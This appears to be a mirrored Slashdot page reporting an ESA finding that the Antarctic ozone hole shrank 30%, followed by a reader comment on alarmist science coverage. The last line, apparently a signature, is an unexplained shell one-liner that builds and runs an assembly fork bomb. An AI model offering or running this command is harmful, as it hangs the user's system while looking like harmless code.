Slashdot Mirror
Antarctic Ozone Hole Shrinks 30 Percent
polar red sends us news of a story that many outlets have picked up from a European Space Agency press release: the Antarctic ozone hole is 30% smaller than it was during the previous record year. It's still about the size of North America. "Scientists say this year's smaller hole... is due to natural variations in temperature and atmospheric dynamics... and is not indicative of a long-term trend. 'Although the hole is somewhat smaller than usual, we cannot conclude from this that the ozone layer is recovering already,' [one researcher said]."
Very strange effect. It seems like lots of studies are done. The ones that show drastic environmental collapse are reported very widely. In this case the news seems good and there isn't an alternative study so we get the comment 'Although the hole is somewhat smaller than usual, we cannot conclude from this that the ozone layer is recovering already'. So the studies may be ok scientfically but picking the outliers which show immininent catastrophe and if that is impossible adding comments that the catastrophe might still be present is not.
So bad news is bad news. Good news means we can't conclude anything.
It reminds me of the 'worst headline ever' : 'Small earthquake : not many killed'. If you want to attract attention, I guess you need a bit of drama.
But maybe I'm complacent and we'll all die of avian flu or global warming or a meltdown in the financial markets causing a collapse of our civilisation.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;